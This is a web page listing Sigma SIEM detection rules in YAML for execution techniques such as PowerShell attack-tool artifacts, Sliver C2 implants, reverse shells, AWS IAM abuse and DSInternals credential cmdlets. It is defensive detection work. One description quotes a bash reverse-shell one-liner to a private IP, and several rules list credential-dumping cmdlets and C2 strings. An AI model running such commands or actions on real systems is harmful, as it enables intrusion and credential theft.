Sigma is the open generic signature format for SIEM systems. Each rule below converts to native syntax for Splunk, Elastic, Sentinel, and other SIEMs. Expand any rule to see its raw YAML.
focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including
Cobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads
that often undergo minimal changes by attackers due to bad opsec.
status testauthor ok @securonix invrep_de, oscd.communityid 8d31a8ce-46b5-4dd6-bdc3-680931f1db86
view Sigma YAML
title: Bad Opsec Powershell Code Artifacts
id: 8d31a8ce-46b5-4dd6-bdc3-680931f1db86
related:
- id: 73e733cc-1ace-3212-a107-ff2523cc9fc3
type: derived
status: test
description: |
focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including
Cobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads
that often undergo minimal changes by attackers due to bad opsec.
references:
- https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/
- https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/
- https://www.mdeditor.tw/pl/pgRt
author: 'ok @securonix invrep_de, oscd.community'
date: 2020-10-09
modified: 2022-12-25
tags:
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_module
definition: 0ad03ef1-f21b-4a79-8ce8-e6900c54b65b
detection:
selection_4103:
Payload|contains:
- '$DoIt'
- 'harmj0y'
- 'mattifestation'
- '_RastaMouse'
- 'tifkin_'
- '0xdeadbeef'
condition: selection_4103
falsepositives:
- 'Moderate-to-low; Despite the shorter length/lower entropy for some of these, because of high specificity, fp appears to be fairly limited in many environments.'
level: critical
critical
HackTool - Sliver C2 Implant Activity Pattern
Detects process activity patterns as seen being used by Sliver C2 framework implants
title: HackTool - Sliver C2 Implant Activity Pattern
id: 42333b2c-b425-441c-b70e-99404a17170f
status: test
description: Detects process activity patterns as seen being used by Sliver C2 framework implants
references:
- https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/implant/sliver/shell/shell_windows.go#L36
- https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/
author: Nasreddine Bencherchali (Nextron Systems), Florian Roth (Nextron Systems)
date: 2022-08-25
modified: 2023-03-05
tags:
- attack.execution
- attack.t1059
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains: '-NoExit -Command [Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8'
condition: selection
falsepositives:
- Unlikely
level: critical
critical
Linux Reverse Shell Indicator
Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
status testauthor Florian Roth (Nextron Systems)id 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871
view Sigma YAML
title: Linux Reverse Shell Indicator
id: 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871
status: test
description: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
references:
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
author: Florian Roth (Nextron Systems)
date: 2021-10-16
modified: 2022-12-25
tags:
- attack.execution
- attack.t1059.004
logsource:
product: linux
category: network_connection
detection:
selection:
Image|endswith: '/bin/bash'
filter:
DestinationIp:
- '127.0.0.1'
- '0.0.0.0'
condition: selection and not filter
falsepositives:
- Unknown
level: critical
critical
Silence.EDA Detection
Detects Silence EmpireDNSAgent as described in the Group-IP report
status testauthor Alina Stepchenkova, Group-IB, oscd.communityid 3ceb2083-a27f-449a-be33-14ec1b7cc973
view Sigma YAML
title: Silence.EDA Detection
id: 3ceb2083-a27f-449a-be33-14ec1b7cc973
status: test
description: Detects Silence EmpireDNSAgent as described in the Group-IP report
references:
- https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf
author: Alina Stepchenkova, Group-IB, oscd.community
date: 2019-11-01
modified: 2023-04-03
tags:
- attack.execution
- attack.t1059.001
- attack.command-and-control
- attack.t1071.004
- attack.t1572
- attack.impact
- attack.t1529
- attack.g0091
- attack.s0363
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
empire:
# better to randomise the order
ScriptBlockText|contains|all:
- 'System.Diagnostics.Process'
- 'Stop-Computer'
- 'Restart-Computer'
- 'Exception in execution'
- '$cmdargs'
- 'Close-Dnscat2Tunnel'
dnscat:
# better to randomise the order
ScriptBlockText|contains|all:
- 'set type=$LookupType`nserver'
- '$Command | nslookup 2>&1 | Out-String'
- 'New-RandomDNSField'
- '[Convert]::ToString($SYNOptions, 16)'
- '$Session.Dead = $True'
- '$Session["Driver"] -eq'
condition: empire and dnscat
falsepositives:
- Unknown
level: critical
high
AWS EC2 Startup Shell Script Change
Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.
status testauthor falokerid 1ab3c5ed-5baf-417b-bb6b-78ca33f6c3df
view Sigma YAML
title: AWS EC2 Startup Shell Script Change
id: 1ab3c5ed-5baf-417b-bb6b-78ca33f6c3df
status: test
description: Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.
references:
- https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2__startup_shell_script/main.py#L9
author: faloker
date: 2020-02-12
modified: 2022-06-07
tags:
- attack.execution
- attack.t1059.001
- attack.t1059.003
- attack.t1059.004
logsource:
product: aws
service: cloudtrail
detection:
selection_source:
eventSource: ec2.amazonaws.com
requestParameters.attribute: 'userData'
eventName: ModifyInstanceAttribute
condition: selection_source
falsepositives:
- Valid changes to the startup script
level: high
high
AWS IAM S3Browser LoginProfile Creation
Detects S3 Browser utility performing reconnaissance looking for existing IAM Users without a LoginProfile defined then (when found) creating a LoginProfile.
status testauthor daniel.bohannon@permiso.io (@danielhbohannon)id db014773-b1d3-46bd-ba26-133337c0ffee
view Sigma YAML
title: AWS IAM S3Browser LoginProfile Creation
id: db014773-b1d3-46bd-ba26-133337c0ffee
status: test
description: Detects S3 Browser utility performing reconnaissance looking for existing IAM Users without a LoginProfile defined then (when found) creating a LoginProfile.
references:
- https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor
author: daniel.bohannon@permiso.io (@danielhbohannon)
date: 2023-05-17
tags:
- attack.execution
- attack.persistence
- attack.initial-access
- attack.privilege-escalation
- attack.stealth
- attack.t1059.009
- attack.t1078.004
logsource:
product: aws
service: cloudtrail
detection:
selection:
eventSource: 'iam.amazonaws.com'
eventName:
- 'GetLoginProfile'
- 'CreateLoginProfile'
userAgent|contains: 'S3 Browser'
condition: selection
falsepositives:
- Valid usage of S3 Browser for IAM LoginProfile listing and/or creation
level: high
high
AWS IAM S3Browser Templated S3 Bucket Policy Creation
Detects S3 browser utility creating Inline IAM policy containing default S3 bucket name placeholder value of "<YOUR-BUCKET-NAME>".
status testauthor daniel.bohannon@permiso.io (@danielhbohannon)id db014773-7375-4f4e-b83b-133337c0ffee
view Sigma YAML
title: AWS IAM S3Browser Templated S3 Bucket Policy Creation
id: db014773-7375-4f4e-b83b-133337c0ffee
status: test
description: Detects S3 browser utility creating Inline IAM policy containing default S3 bucket name placeholder value of "<YOUR-BUCKET-NAME>".
references:
- https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor
author: daniel.bohannon@permiso.io (@danielhbohannon)
date: 2023-05-17
tags:
- attack.execution
- attack.stealth
- attack.t1059.009
- attack.persistence
- attack.initial-access
- attack.privilege-escalation
- attack.t1078.004
logsource:
product: aws
service: cloudtrail
detection:
selection:
eventSource: iam.amazonaws.com
eventName: PutUserPolicy
userAgent|contains: 'S3 Browser'
requestParameters|contains|all:
- '"arn:aws:s3:::<YOUR-BUCKET-NAME>/*"'
- '"s3:GetObject"'
- '"Allow"'
condition: selection
falsepositives:
- Valid usage of S3 browser with accidental creation of default Inline IAM policy without changing default S3 bucket name placeholder value
level: high
high
AWS IAM S3Browser User or AccessKey Creation
Detects S3 Browser utility creating IAM User or AccessKey.
status testauthor daniel.bohannon@permiso.io (@danielhbohannon)id db014773-d9d9-4792-91e5-133337c0ffee
view Sigma YAML
title: AWS IAM S3Browser User or AccessKey Creation
id: db014773-d9d9-4792-91e5-133337c0ffee
status: test
description: Detects S3 Browser utility creating IAM User or AccessKey.
references:
- https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor
author: daniel.bohannon@permiso.io (@danielhbohannon)
date: 2023-05-17
tags:
- attack.privilege-escalation
- attack.execution
- attack.persistence
- attack.initial-access
- attack.stealth
- attack.t1059.009
- attack.t1078.004
logsource:
product: aws
service: cloudtrail
detection:
selection:
eventSource: 'iam.amazonaws.com'
eventName:
- 'CreateUser'
- 'CreateAccessKey'
userAgent|contains: 'S3 Browser'
condition: selection
falsepositives:
- Valid usage of S3 Browser for IAM User and/or AccessKey creation
level: high
high
Abusable DLL Potential Sideloading From Suspicious Location
Detects potential DLL sideloading of DLLs that are known to be abused from suspicious locations
status testauthor X__Junior (Nextron Systems)id 799a5f48-0ac1-4e0f-9152-71d137d48c2a
view Sigma YAML
title: Abusable DLL Potential Sideloading From Suspicious Location
id: 799a5f48-0ac1-4e0f-9152-71d137d48c2a
status: test
description: Detects potential DLL sideloading of DLLs that are known to be abused from suspicious locations
references:
- https://www.trendmicro.com/en_us/research/23/f/behind-the-scenes-unveiling-the-hidden-workings-of-earth-preta.html
- https://research.checkpoint.com/2023/beyond-the-horizon-traveling-the-world-on-camaro-dragons-usb-flash-drives/
author: X__Junior (Nextron Systems)
date: 2023-07-11
tags:
- attack.execution
- attack.t1059
logsource:
category: image_load
product: windows
detection:
selection_dll:
ImageLoaded|endswith:
# Note: Add more generic DLLs that cannot be pin-pointed to a single application
- '\coreclr.dll'
- '\facesdk.dll'
- '\HPCustPartUI.dll'
- '\libcef.dll'
- '\ZIPDLL.dll'
selection_folders_1:
ImageLoaded|contains:
- ':\Perflogs\'
- ':\Users\Public\'
- '\Temporary Internet'
- '\Windows\Temp\'
selection_folders_2:
- ImageLoaded|contains|all:
- ':\Users\'
- '\Favorites\'
- ImageLoaded|contains|all:
- ':\Users\'
- '\Favourites\'
- ImageLoaded|contains|all:
- ':\Users\'
- '\Contacts\'
- ImageLoaded|contains|all:
- ':\Users\'
- '\Pictures\'
condition: selection_dll and 1 of selection_folders_*
falsepositives:
- Unknown
level: high
high
Add Insecure Download Source To Winget
Detects usage of winget to add a new insecure (http) download source.
Winget will not allow the addition of insecure sources, hence this could indicate potential suspicious activity (or typos)
status testauthor Nasreddine Bencherchali (Nextron Systems)id 81a0ecb5-0a41-4ba1-b2ba-c944eb92bfa2
view Sigma YAML
title: Add Insecure Download Source To Winget
id: 81a0ecb5-0a41-4ba1-b2ba-c944eb92bfa2
related:
- id: 05ebafc8-7aa2-4bcd-a269-2aec93f9e842
type: similar
- id: c15a46a0-07d4-4c87-b4b6-89207835a83b
type: similar
status: test
description: |
Detects usage of winget to add a new insecure (http) download source.
Winget will not allow the addition of insecure sources, hence this could indicate potential suspicious activity (or typos)
references:
- https://learn.microsoft.com/en-us/windows/package-manager/winget/source
- https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-04-17
tags:
- attack.execution
- attack.t1059
logsource:
category: process_creation
product: windows
detection:
selection_img:
- Image|endswith: '\winget.exe'
- OriginalFileName: 'winget.exe'
selection_cli:
CommandLine|contains|all:
- 'source '
- 'add '
- 'http://'
condition: all of selection_*
falsepositives:
- False positives might occur if the users are unaware of such control checks
level: high
high
Adwind RAT / JRAT File Artifact
Detects javaw.exe in AppData folder as used by Adwind / JRAT
status testauthor Florian Roth (Nextron Systems), Tom Ueltschi, Jonhnathan Ribeiro, oscd.communityid 0bcfabcb-7929-47f4-93d6-b33fb67d34d1
view Sigma YAML
title: Adwind RAT / JRAT File Artifact
id: 0bcfabcb-7929-47f4-93d6-b33fb67d34d1
related:
- id: 1fac1481-2dbc-48b2-9096-753c49b4ec71
type: derived
status: test
description: Detects javaw.exe in AppData folder as used by Adwind / JRAT
references:
- https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100
- https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf
author: Florian Roth (Nextron Systems), Tom Ueltschi, Jonhnathan Ribeiro, oscd.community
date: 2017-11-10
modified: 2022-12-02
tags:
- attack.execution
- attack.t1059.005
- attack.t1059.007
logsource:
category: file_event
product: windows
detection:
selection:
- TargetFilename|contains|all:
- '\AppData\Roaming\Oracle\bin\java'
- '.exe'
- TargetFilename|contains|all:
- '\Retrive'
- '.vbs'
condition: selection
level: high
high
BPFDoor Abnormal Process ID or Lock File Accessed
detects BPFDoor .lock and .pid files access in temporary file storage facility
status testauthor Rafal Piaseckiid 808146b2-9332-4d78-9416-d7e47012d83d
Detects usage of the "FromBase64String" function in the commandline which is used to decode a base64 encoded string
status testauthor Florian Roth (Nextron Systems)id e32d4572-9826-4738-b651-95fa63747e8a
view Sigma YAML
title: Base64 Encoded PowerShell Command Detected
id: e32d4572-9826-4738-b651-95fa63747e8a
status: test
description: Detects usage of the "FromBase64String" function in the commandline which is used to decode a base64 encoded string
references:
- https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639
author: Florian Roth (Nextron Systems)
date: 2020-01-29
modified: 2023-01-26
tags:
- attack.stealth
- attack.t1027
- attack.execution
- attack.t1140
- attack.t1059.001
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains: '::FromBase64String('
condition: selection
falsepositives:
- Administrative script libraries
level: high
high
BloodHound Collection Files
Detects default file names outputted by the BloodHound collection tool SharpHound
status testauthor C.J. Mayid 02773bed-83bf-469f-b7ff-e676e7d78bab
view Sigma YAML
title: BloodHound Collection Files
id: 02773bed-83bf-469f-b7ff-e676e7d78bab
status: test
description: Detects default file names outputted by the BloodHound collection tool SharpHound
references:
- https://academy.hackthebox.com/course/preview/active-directory-bloodhound/bloodhound--data-collection
author: C.J. May
date: 2022-08-09
modified: 2026-02-19
tags:
- attack.discovery
- attack.t1087.001
- attack.t1087.002
- attack.t1482
- attack.t1069.001
- attack.t1069.002
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: file_event
detection:
selection:
TargetFilename|endswith:
- 'BloodHound.zip'
- '_computers.json'
- '_containers.json'
# - '_domains.json' # prone to false positives with ProbabilisticRevealTokenRegistry function in Google Chrome
- '_gpos.json'
- '_groups.json'
- '_ous.json'
- '_users.json'
filter_optional_ms_winapps:
Image|endswith: '\svchost.exe'
TargetFilename|startswith: 'C:\Program Files\WindowsApps\Microsoft.'
TargetFilename|endswith: '\pocket_containers.json'
condition: selection and not 1 of filter_optional_*
falsepositives:
- Some false positives may arise in some environment and this may require some tuning. Add additional filters or reduce level depending on the level of noise
level: high
high
Capsh Shell Invocation - Linux
Detects the use of the "capsh" utility to invoke a shell.
status testauthor Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)id db1ac3be-f606-4e3a-89e0-9607cbe6b98a
view Sigma YAML
title: Capsh Shell Invocation - Linux
id: db1ac3be-f606-4e3a-89e0-9607cbe6b98a
status: test
description: |
Detects the use of the "capsh" utility to invoke a shell.
references:
- https://gtfobins.github.io/gtfobins/capsh/#shell
- https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html
author: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)
date: 2024-09-02
tags:
- attack.execution
- attack.t1059
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/capsh'
CommandLine|endswith: ' --'
condition: selection
falsepositives:
- Unknown
level: high
high
Clipboard Data Collection Via OSAScript
Detects possible collection of data from the clipboard via execution of the osascript binary
status testauthor Sohan G (D4rkCiph3r)id 7794fa3c-edea-4cff-bec7-267dd4770fd7
view Sigma YAML
title: Clipboard Data Collection Via OSAScript
id: 7794fa3c-edea-4cff-bec7-267dd4770fd7
related:
- id: 1bc2e6c5-0885-472b-bed6-be5ea8eace55
type: derived
status: test
description: Detects possible collection of data from the clipboard via execution of the osascript binary
references:
- https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/
author: Sohan G (D4rkCiph3r)
date: 2023-01-31
tags:
- attack.collection
- attack.execution
- attack.t1115
- attack.t1059.002
logsource:
product: macos
category: process_creation
detection:
selection:
CommandLine|contains|all:
- 'osascript'
- ' -e '
- 'clipboard'
condition: selection
falsepositives:
- Unlikely
level: high
high
Cmd.EXE Missing Space Characters Execution Anomaly
Detects Windows command lines that miss a space before or after the /c flag when running a command using the cmd.exe.
This could be a sign of obfuscation of a fat finger problem (typo by the developer).
status testauthor Florian Roth (Nextron Systems)id a16980c2-0c56-4de0-9a79-17971979efdd
view Sigma YAML
title: Cmd.EXE Missing Space Characters Execution Anomaly
id: a16980c2-0c56-4de0-9a79-17971979efdd
status: test
description: |
Detects Windows command lines that miss a space before or after the /c flag when running a command using the cmd.exe.
This could be a sign of obfuscation of a fat finger problem (typo by the developer).
references:
- https://twitter.com/cyb3rops/status/1562072617552678912
- https://ss64.com/nt/cmd.html
author: Florian Roth (Nextron Systems)
date: 2022-08-23
modified: 2023-03-06
tags:
- attack.execution
- attack.t1059.001
logsource:
category: process_creation
product: windows
detection:
selection1: # missing space before the /c
CommandLine|contains:
- 'cmd.exe/c'
- '\cmd/c' # just cmd/c would be prone to false positives
- '"cmd/c'
- 'cmd.exe/k'
- '\cmd/k' # just cmd/k would be prone to false positives
- '"cmd/k'
- 'cmd.exe/r'
- '\cmd/r' # just cmd/r would be prone to false positives
- '"cmd/r'
selection2: # special cases verified via Virustotal Enterprise search
CommandLine|contains:
- '/cwhoami'
- '/cpowershell'
- '/cschtasks'
- '/cbitsadmin'
- '/ccertutil'
- '/kwhoami'
- '/kpowershell'
- '/kschtasks'
- '/kbitsadmin'
- '/kcertutil'
selection3: # missing space after the /c
CommandLine|contains:
- 'cmd.exe /c'
- 'cmd /c'
- 'cmd.exe /k'
- 'cmd /k'
- 'cmd.exe /r'
- 'cmd /r'
filter_generic:
CommandLine|contains:
- 'cmd.exe /c '
- 'cmd /c '
- 'cmd.exe /k '
- 'cmd /k '
- 'cmd.exe /r '
- 'cmd /r '
filter_fp:
- CommandLine|contains: 'AppData\Local\Programs\Microsoft VS Code\resources\app\node_modules'
- CommandLine|endswith: 'cmd.exe/c .'
- CommandLine: 'cmd.exe /c'
condition: 1 of selection* and not 1 of filter_*
falsepositives:
- Unknown
level: high
high
Conhost.exe CommandLine Path Traversal
detects the usage of path traversal in conhost.exe indicating possible command/argument confusion/hijacking
status testauthor Nasreddine Bencherchali (Nextron Systems)id ee5e119b-1f75-4b34-add8-3be976961e39
view Sigma YAML
title: Conhost.exe CommandLine Path Traversal
id: ee5e119b-1f75-4b34-add8-3be976961e39
status: test
description: detects the usage of path traversal in conhost.exe indicating possible command/argument confusion/hijacking
references:
- https://pentestlab.blog/2020/07/06/indirect-command-execution/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-06-14
tags:
- attack.execution
- attack.t1059.003
logsource:
category: process_creation
product: windows
detection:
selection:
ParentCommandLine|contains: 'conhost'
CommandLine|contains: '/../../'
condition: selection
falsepositives:
- Unlikely
level: high
high
Csc.EXE Execution Form Potentially Suspicious Parent
Detects a potentially suspicious parent of "csc.exe", which could be a sign of payload delivery.
Detects Wscript/Cscript executing a file with an uncommon (i.e. non-script) extension
status testauthor Nasreddine Bencherchali (Nextron Systems)id 99b7460d-c9f1-40d7-a316-1f36f61d52ee
view Sigma YAML
title: Cscript/Wscript Uncommon Script Extension Execution
id: 99b7460d-c9f1-40d7-a316-1f36f61d52ee
status: test
description: Detects Wscript/Cscript executing a file with an uncommon (i.e. non-script) extension
references:
- Internal Research
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-05-15
modified: 2023-06-19
tags:
- attack.execution
- attack.t1059.005
- attack.t1059.007
logsource:
category: process_creation
product: windows
detection:
selection_img:
- OriginalFileName:
- 'wscript.exe'
- 'cscript.exe'
- Image|endswith:
- '\wscript.exe'
- '\cscript.exe'
selection_extension:
CommandLine|contains:
# Note: add additional potential suspicious extension
# We could specify the "//E:" flag to avoid typos by admin. But since that's prone to blind spots via the creation of assoc it's better not to include it
- '.csv'
- '.dat'
- '.doc'
- '.gif'
- '.jpeg'
- '.jpg'
- '.png'
- '.ppt'
- '.txt'
- '.xls'
- '.xml'
condition: all of selection_*
falsepositives:
- Unknown
level: high
high
DNS Query by Finger Utility
Detects DNS queries made by the finger utility, which can be abused by threat actors to retrieve remote commands for execution on Windows devices.
In one ClickFix malware campaign, adversaries leveraged the finger protocol to fetch commands from a remote server.
Since the finger utility is not commonly used in modern Windows environments, its presence already raises suspicion.
Investigating such DNS queries can also help identify potential malicious infrastructure used by threat actors for command and control (C2) communication.
status experimentalauthor Swachchhanda Shrawan Poudel (Nextron Systems)id c082c2b0-525b-4dbc-9a26-a57dc4692074
view Sigma YAML
title: DNS Query by Finger Utility
id: c082c2b0-525b-4dbc-9a26-a57dc4692074
related:
- id: 2fdaf50b-9fd5-449f-ba69-f17248119af6
type: similar
- id: af491bca-e752-4b44-9c86-df5680533dbc
type: similar
status: experimental
description: |
Detects DNS queries made by the finger utility, which can be abused by threat actors to retrieve remote commands for execution on Windows devices.
In one ClickFix malware campaign, adversaries leveraged the finger protocol to fetch commands from a remote server.
Since the finger utility is not commonly used in modern Windows environments, its presence already raises suspicion.
Investigating such DNS queries can also help identify potential malicious infrastructure used by threat actors for command and control (C2) communication.
references:
- https://www.bleepingcomputer.com/news/security/decades-old-finger-protocol-abused-in-clickfix-malware-attacks/
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-11-19
tags:
- attack.command-and-control
- attack.t1071.004
- attack.execution
- attack.t1059.003
logsource:
product: windows
category: dns_query
detection:
selection:
Image|endswith: '\finger.exe'
condition: selection
falsepositives:
- Unlikely
level: high
high
DSInternals Suspicious PowerShell Cmdlets
Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files.
The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.
status testauthor Nasreddine Bencherchali (Nextron Systems), Nounou Mbeiriid 43d91656-a9b2-4541-b7e2-6a9bd3a13f4e
view Sigma YAML
title: DSInternals Suspicious PowerShell Cmdlets
id: 43d91656-a9b2-4541-b7e2-6a9bd3a13f4e
related:
- id: 846c7a87-8e14-4569-9d49-ecfd4276a01c
type: similar
status: test
description: |
Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files.
The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.
references:
- https://github.com/MichaelGrafnetter/DSInternals/blob/39ee8a69bbdc1cfd12c9afdd7513b4788c4895d4/Src/DSInternals.PowerShell/DSInternals.psd1
author: Nasreddine Bencherchali (Nextron Systems), Nounou Mbeiri
date: 2024-06-26
tags:
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: process_creation
detection:
selection:
CommandLine|contains:
- 'Add-ADDBSidHistory'
- 'Add-ADNgcKey'
- 'Add-ADReplNgcKey'
- 'ConvertFrom-ADManagedPasswordBlob'
- 'ConvertFrom-GPPrefPassword'
- 'ConvertFrom-ManagedPasswordBlob'
- 'ConvertFrom-UnattendXmlPassword'
- 'ConvertFrom-UnicodePassword'
- 'ConvertTo-AADHash'
- 'ConvertTo-GPPrefPassword'
- 'ConvertTo-KerberosKey'
- 'ConvertTo-LMHash'
- 'ConvertTo-MsoPasswordHash'
- 'ConvertTo-NTHash'
- 'ConvertTo-OrgIdHash'
- 'ConvertTo-UnicodePassword'
- 'Disable-ADDBAccount'
- 'Enable-ADDBAccount'
- 'Get-ADDBAccount'
- 'Get-ADDBBackupKey'
- 'Get-ADDBDomainController'
- 'Get-ADDBGroupManagedServiceAccount'
- 'Get-ADDBKdsRootKey'
- 'Get-ADDBSchemaAttribute'
- 'Get-ADDBServiceAccount'
- 'Get-ADDefaultPasswordPolicy'
- 'Get-ADKeyCredential' # Covers 'Get-ADKeyCredentialLink'
- 'Get-ADPasswordPolicy'
- 'Get-ADReplAccount'
- 'Get-ADReplBackupKey'
- 'Get-ADReplicationAccount'
- 'Get-ADSIAccount'
- 'Get-AzureADUserEx'
- 'Get-BootKey'
- 'Get-KeyCredential'
- 'Get-LsaBackupKey'
- 'Get-LsaPolicy' # Covers 'Get-LsaPolicyInformation'
- 'Get-SamPasswordPolicy'
- 'Get-SysKey'
- 'Get-SystemKey'
- 'New-ADDBRestoreFromMediaScript'
- 'New-ADKeyCredential' # Covers 'New-ADKeyCredentialLink'
- 'New-ADNgcKey'
- 'New-NTHashSet'
- 'Remove-ADDBObject'
- 'Save-DPAPIBlob'
- 'Set-ADAccountPasswordHash'
- 'Set-ADDBAccountPassword' # Covers 'Set-ADDBAccountPasswordHash'
- 'Set-ADDBBootKey'
- 'Set-ADDBDomainController'
- 'Set-ADDBPrimaryGroup'
- 'Set-ADDBSysKey'
- 'Set-AzureADUserEx'
- 'Set-LsaPolicy' # Covers 'Set-LSAPolicyInformation'
- 'Set-SamAccountPasswordHash'
- 'Set-WinUserPasswordHash'
- 'Test-ADDBPasswordQuality'
- 'Test-ADPasswordQuality'
- 'Test-ADReplPasswordQuality'
- 'Test-PasswordQuality'
- 'Unlock-ADDBAccount'
- 'Write-ADNgcKey'
- 'Write-ADReplNgcKey'
condition: selection
falsepositives:
- Legitimate usage of DSInternals for administration or audit purpose.
level: high
Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files.
The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.
status testauthor Nasreddine Bencherchali (Nextron Systems)id 846c7a87-8e14-4569-9d49-ecfd4276a01c
view Sigma YAML
title: DSInternals Suspicious PowerShell Cmdlets - ScriptBlock
id: 846c7a87-8e14-4569-9d49-ecfd4276a01c
related:
- id: 43d91656-a9b2-4541-b7e2-6a9bd3a13f4e
type: similar
status: test
description: |
Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files.
The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.
references:
- https://github.com/MichaelGrafnetter/DSInternals/blob/39ee8a69bbdc1cfd12c9afdd7513b4788c4895d4/Src/DSInternals.PowerShell/DSInternals.psd1
author: Nasreddine Bencherchali (Nextron Systems)
date: 2024-06-26
tags:
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection:
ScriptBlockText|contains:
- 'Add-ADDBSidHistory'
- 'Add-ADNgcKey'
- 'Add-ADReplNgcKey'
- 'ConvertFrom-ADManagedPasswordBlob'
- 'ConvertFrom-GPPrefPassword'
- 'ConvertFrom-ManagedPasswordBlob'
- 'ConvertFrom-UnattendXmlPassword'
- 'ConvertFrom-UnicodePassword'
- 'ConvertTo-AADHash'
- 'ConvertTo-GPPrefPassword'
- 'ConvertTo-KerberosKey'
- 'ConvertTo-LMHash'
- 'ConvertTo-MsoPasswordHash'
- 'ConvertTo-NTHash'
- 'ConvertTo-OrgIdHash'
- 'ConvertTo-UnicodePassword'
- 'Disable-ADDBAccount'
- 'Enable-ADDBAccount'
- 'Get-ADDBAccount'
- 'Get-ADDBBackupKey'
- 'Get-ADDBDomainController'
- 'Get-ADDBGroupManagedServiceAccount'
- 'Get-ADDBKdsRootKey'
- 'Get-ADDBSchemaAttribute'
- 'Get-ADDBServiceAccount'
- 'Get-ADDefaultPasswordPolicy'
- 'Get-ADKeyCredential' # Covers 'Get-ADKeyCredentialLink'
- 'Get-ADPasswordPolicy'
- 'Get-ADReplAccount'
- 'Get-ADReplBackupKey'
- 'Get-ADReplicationAccount'
- 'Get-ADSIAccount'
- 'Get-AzureADUserEx'
- 'Get-BootKey'
- 'Get-KeyCredential'
- 'Get-LsaBackupKey'
- 'Get-LsaPolicy' # Covers 'Get-LsaPolicyInformation'
- 'Get-SamPasswordPolicy'
- 'Get-SysKey'
- 'Get-SystemKey'
- 'New-ADDBRestoreFromMediaScript'
- 'New-ADKeyCredential' # Covers 'New-ADKeyCredentialLink'
- 'New-ADNgcKey'
- 'New-NTHashSet'
- 'Remove-ADDBObject'
- 'Save-DPAPIBlob'
- 'Set-ADAccountPasswordHash'
- 'Set-ADDBAccountPassword' # Covers 'Set-ADDBAccountPasswordHash'
- 'Set-ADDBBootKey'
- 'Set-ADDBDomainController'
- 'Set-ADDBPrimaryGroup'
- 'Set-ADDBSysKey'
- 'Set-AzureADUserEx'
- 'Set-LsaPolicy' # Covers 'Set-LSAPolicyInformation'
- 'Set-SamAccountPasswordHash'
